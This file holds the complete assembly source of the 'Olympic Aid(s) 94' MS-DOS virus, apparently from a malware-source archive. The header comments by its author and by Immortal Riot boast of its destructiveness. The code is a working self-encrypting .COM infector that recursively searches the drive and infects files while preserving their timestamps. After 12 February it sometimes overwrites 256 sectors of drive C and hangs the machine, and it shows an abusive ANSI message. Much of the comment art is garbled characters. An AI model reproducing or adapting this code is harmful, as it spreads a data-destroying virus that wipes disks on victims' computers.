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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.aid(s).asm

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2021-01-12 23:29:01 +00:00
; VirusName: Olympic Aid(s) '94
; Origin : Norway
; Author : The Penetrator
; Date : 1/01/1994
;
; Hopefully the Olympics at Lillehammer is over when you read this
; shit.This virus was made only for creating fear, and some publicity.
;
; Anyway this is a new selfencrypting non-overwriting *.COM infector...
; And YES, it may (and WILL) harm you. It's a 10% chanse for a Major
; ScrewUp (NO ScrewUps before February the 12th. Just to give it some
; time to spread)
;
; And I have to send some fuckings to Norman Data Defence Systems in
; Drammen, Norway. They is fucking up the BBS scene here in Norway
; right now!
; // The Penetrator/NORWAY
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
; (Now follows Immortal Riot comments!);
; This is the virus, WE got accused for writing, how silly! Anyhow
; I picked this one up from a dude in Norway, and he told me that
; I could include it in our magazine, or whatever.
;
; It's nothing fancy or something, but hey! it surely was easy
; publicity!, too bad that the papers accused US for doing it..
; We didn't, this is just a contribution from our friends in Norway,
; that we picked up AFTER we'd got the silly F-bull 2.11, and had to
; investigate the situation.
;
; I've in this version recieved another ansi-screen to include, dunno
; about the last one.. Anyhow, this is as The Penetrate said a non-ow
; .COM infector. It searches the whole directory tree of files to
; infect, thus making it slow when its spreads trough the drive. It's
; also highly destructive (NM.NUKE.VCL.256.TRASH). Some code resembles
; of VCL based code, but if you want to read more about it, just read
; our article about VCL.Olympic also included in Insane Reality issue4.
;
; HAHA!, Norway, Sweden got 24 gold-medals from the Olympic.Games
; (If the ice-hockey counts!!), just as I told you! Haha!, AND give
; my best to Beate (can't you give girls REAL-names in Norway??).
;
; Thanks to All Norweigian contributors // The Unforgiven/Immortal Riot.
;
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
; OLYMPIC AID(S) '94
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> JUST FOR FIRST TIME INSTALLING --<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
main proc near
db 0E9h,00h,00h ; Near Jump
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> S T A R T O F V I R I I <20><><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; We love POP'ing
push bp ; and PUSH'ing
pop bp ; bp's
sub bp,offset find_offset ; Adjust for length of host
GeneticChange: MOV byte ptr [BP+GeneticChange+4],001h ;
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
mov cx,0005h ; Do X infections
search_loop: push cx ; Save CX
add byte ptr [DI+GeneticChange+4],001h ; Some BullShit!!!
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> CHECKING DATE/TIME FOR OLYMPIC START <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
CheckDate: mov ah,2ah
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
cmp DH,2h ; February
jB NoFuckUp
cmp DL,12 ; The Olympics is starting
jB NoFuckUp ; the 12 th.
mov ah,2Ch
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dx=sec
cmp DL,10 ; 10 % chanse for...
jA NoFuckUp
Yeah: jmp OL1994 ; ScrewUp...
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> RETURN NICELY AND QUIET TO INFECTED FILE <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
NoFuckUp: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> LET'S LOOK AT THE OLYMPIC RINGS -<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
OL1994: mov ah,0Fh ; BIOS get video mode function
int 010h
xor ah,ah ; BIOS set video mode function
int 010h ; (Clear Screen)
lea si,[di + AnsiData] ; SI points to data
mov cx,AnsiEnd-AnsiData ; Data Length
JCXZ Done
xor di,di
mov ax,0b800h
mov es,ax
MOV DX,DI ;Save X coordinate for later.
XOR AX,AX ;Set Current attributes.
CLD
LOOPA: LODSB ;Get next character.
CMP AL,32 ;If a control character, jump.
JC ForeGround
STOSW ;Save letter on screen.
Next: LOOP LOOPA
JMP Short Done
ForeGround:
CMP AL,16 ;If less than 16, then change the
JNC BackGround ;foreground color. Otherwise jump.
AND AH,0F0H ;Strip off old foreground.
OR AH,AL
JMP Next
BackGround:
CMP AL,24 ;If less than 24, then change the
JZ NextLine ;background color. If exactly 24,
JNC FlashBitToggle ;then jump down to next line.
SUB AL,16 ;Otherwise jump to multiple output
ADD AL,AL ;routines.
ADD AL,AL
ADD AL,AL
ADD AL,AL
AND AH,8FH ;Strip off old background.
OR AH,AL
JMP Next
NextLine:
ADD DX,160 ;If equal to 24,
MOV DI,DX ;then jump down to
JMP Next ;the next line.
FlashBitToggle:
CMP AL,27 ;Does user want to toggle the blink
JC MultiOutput ;attribute?
JNZ Next
XOR AH,128 ;Done.
JMP Next
MultiOutput:
CMP AL,25 ;Set Z flag if multi-space output.
MOV BX,CX ;Save main counter.
LODSB ;Get count of number of times
MOV CL,AL ;to display character.
MOV AL,32
JZ StartOutput ;Jump here if displaying spaces.
LODSB ;Otherwise get character to use.
DEC BX ;Adjust main counter.
StartOutput:
XOR CH,CH
INC CX
REP STOSW
MOV CX,BX
DEC CX ;Adjust main counter.
LOOPNZ LOOPA ;Loop if anything else to do...
Done:
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> HAAKON & KRISTIN SCREWS UP -----<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
TrashHD: CLI ; Disable interrupts
mov ax,0002h ; DRIVE C:
mov cx,100h ; Sectors (100hex=256DEC!)
XOR DX,DX ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
EndlessLoop: JMP EndlessLoop ; Boring...ehh???
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> FIND FILES <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> FIND MORE FILES <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> FUCK A FILE <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> CRUNCHED OLYMPIC RINGS -<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
AnsiData: DB 15,16,24,24,24,1,26,17,'<27> ',15,'L i l l e h a'
DB ' m m e r ',39,' 9 4 ',1,26,17,'<27>',24,24,25,20
DB 'Haakon And Kristin Blew It Up Again...',24,25,19,26,5
DB '<27>',25,10,8,26,5,'<27>',25,10,4,26,5,'<27>',24,25,16,1,'<27><>'
DB '<27><>',25,3,'<27><><EFBFBD><EFBFBD>',25,4,8,'<27><><EFBFBD><EFBFBD>',25,3,'<27><><EFBFBD><EFBFBD>',25,4,4,'<27>'
DB '<27><><EFBFBD>',25,3,'<27><><EFBFBD><EFBFBD>',24,25,15,1,'<27><>',25,8,14,'<27>',17,'<27>',1
DB 16,'<27>',14,'<27><><EFBFBD>',8,'<27><>',25,8,2,'<27>',8,18,'<27>',16,'<27>',2,'<27>'
DB '<27><>',4,'<27><>',25,9,'<27><>',24,25,14,1,'<27><>',25,6,14,'<27><><EFBFBD><EFBFBD> '
DB 1,'<27><> ',8,'<27><>',14,'<27><>',25,4,2,'<27><><EFBFBD><EFBFBD> ',8,'<27><> ',20,' ',0
DB '<27>',2,16,'<27><>',25,9,4,'<27><>',24,25,14,1,'<27><>',25,5,14,'<27>'
DB '<27>',25,3,1,'<27><> ',8,'<27><> ',14,'<27><>',25,2,2,'<27><>',25,3,8,'<27>'
DB '<27> ',4,'<27><> ',2,'<27><>',25,8,4,'<27><>',24,25,15,1,'<27><>',25,3,14
DB '<27><>',25,3,1,'<27><>',25,2,8,'<27><> ',14,'<27><> ',2,'<27><>',25,3,8,'<27>'
DB '<27>',25,2,4,'<27><> ',2,'<27><>',25,6,4,'<27><>',24,25,16,1,'<27><><EFBFBD><EFBFBD>'
DB ' ',14,'<27><> ',1,'<27><><EFBFBD><EFBFBD>',25,4,8,'<27><>',14,'<27><> ',2,'<27><> ',8,'<27>'
DB '<27><><EFBFBD>',25,4,4,'<27><>',2,'<27><>',25,3,4,'<27><><EFBFBD><EFBFBD>',24,25,19,1,'<27>'
DB '<27><>',14,17,'<27><>',1,16,'<27>',25,8,14,'<27><>',8,'<27><><EFBFBD>',2,'<27>',8
DB 18,'<27>',16,'<27>',25,8,2,'<27><>',4,26,5,'<27>',24,25,23,14,'<27><>'
DB '<27><>',25,3,'<27><><EFBFBD><EFBFBD>',25,4,2,'<27><><EFBFBD><EFBFBD>',25,3,'<27><><EFBFBD>',0,18,'<27>',24
DB 16,25,26,14,26,5,'<27>',25,10,2,26,5,'<27>',25,12,0,'1',24,1
DB 'This Time They Have Been Fucking Around With The Ol'
DB 'ympic Computers, And Managed',24,25,2,'To Infect A '
DB 'Lot Of Your Computers With A Little Tiny Destructiv'
DB 'e Virus...',24,24,'Now, Antonio, You Can',39,'t Let'
DB ' Them Runaway With This, Punish The Little Bastards'
DB '!',24,24,26,'O<>',24,24,24,24
AnsiEnd: DB 0
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> WRITE ENCRYPTED COPY <20>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
Note db " Olympic Aid(s) '94 "
db " (c) The Penetrator "
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> ENCRYPT/DECRYPT <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><> END OF STORY <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
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